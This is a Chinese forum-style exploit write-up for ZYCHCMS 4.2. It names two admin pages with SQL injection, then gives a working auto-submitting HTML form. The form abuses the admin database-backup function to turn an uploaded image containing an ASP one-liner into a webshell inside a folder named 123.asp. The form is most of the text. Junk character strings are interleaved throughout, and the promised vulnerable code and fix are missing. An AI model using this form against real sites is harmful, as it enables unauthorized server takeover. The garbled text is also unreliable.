ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

admin

. |: n4 ~1 U! G# b  H0 G
影响版本：ZYCHCMS企业网站管理系统4.2（存在以下两个文件的版本应该是通杀）
0 a1 }  e# N. h1 X ①SQL注射漏洞
漏洞文件：/admin/add_js.asp & /admin/add_xm_jiang.asp
漏洞原因：未过滤
漏洞代码：
都是相同的，文件开头没有调用过滤文件/admin/seeion.asp，导致没有对当前权限进行判断，就直接操作数据库。
修复方法：在文件开头加入代码


②后台拿WBSHELL
进入后台有一个数据库备份，可以通过本地提交突破创建.asp后缀文件夹，并将一句话备份进去。
3 I5 f6 D1 v; d 这里在网上找了一个，改了下，将就着用。
1 u( T! t8 \1 Y2 R; i8 e9 q4 s 以下是代码本地提交代码


<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
! ?8 \* V; K0 R) y# ~ <tr>
<td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
% D$ ~/ M! c2 h% V  | </tr>
4 I( N. U: v6 ]& |2 w* g" A; q& W <tr>
+ L2 X) ~/ E8 p  I3 M0 a! J+ ` <td bgcolor=”#FFFFFF”><span class=”back_southidc”>
</span>
3 @" B9 p1 q1 N1 J% D6 {6 J4 b( m <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
0 h- u9 v! P4 K; f; ]( R7 d8 z <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
. H% e0 j6 Z$ K6 F5 ?# c <div align=”left”>
<input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
3 ]) }) C4 W9 W  T- x <!–eg：../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
$ o$ R4 _$ J' W8 i: T <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
</div></td>
</tr>
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
& `, g0 K; b  d# W* V8 J6 L0 W- d' {) O <td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
8 |$ K, K7 {9 F. ]$ V <td class=”td”><div align=”left”>
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
2 Z5 k3 v0 k+ a& s# b# ~+ V. b [如备份目录有该文件，将覆盖，如沒有，将自动创建]</div></td>
</tr>
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
<td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
<td class=”td”><div align=”left”>
<input type=”submit” value=”确定备份” class=”btn”
5 B4 ^& I: y4 k0 X( o. [7 r </div></td>
</tr>
: @2 m+ \! ~" o6 L3 e </table></td></tr></form>
</table>
- F4 \( j- d* Q- B6 C8 W4 Y </td>
</tr>
5 x, T6 p4 k. q! R </table>
<script>
4 Q; C  F+ N- T2 ]  a- v document.all.add.submit();
5 Q* k% ?. c; @9 c+ ~" E' O </script>

6 _/ @4 [9 w: s0 L2 A6 M, Q; z6 m

- M* b; f5 V5 K
1 A3 k$ U( u: {% [3 d
  Q. h# u& N% |
, U6 O% Q1 O# `& d
' r' a5 y+ o# n1 _
9 D% I+ }2 D2 r% l) E" W1 O

* X0 i% f( W3 v4 |5 W1 K! B( {7 c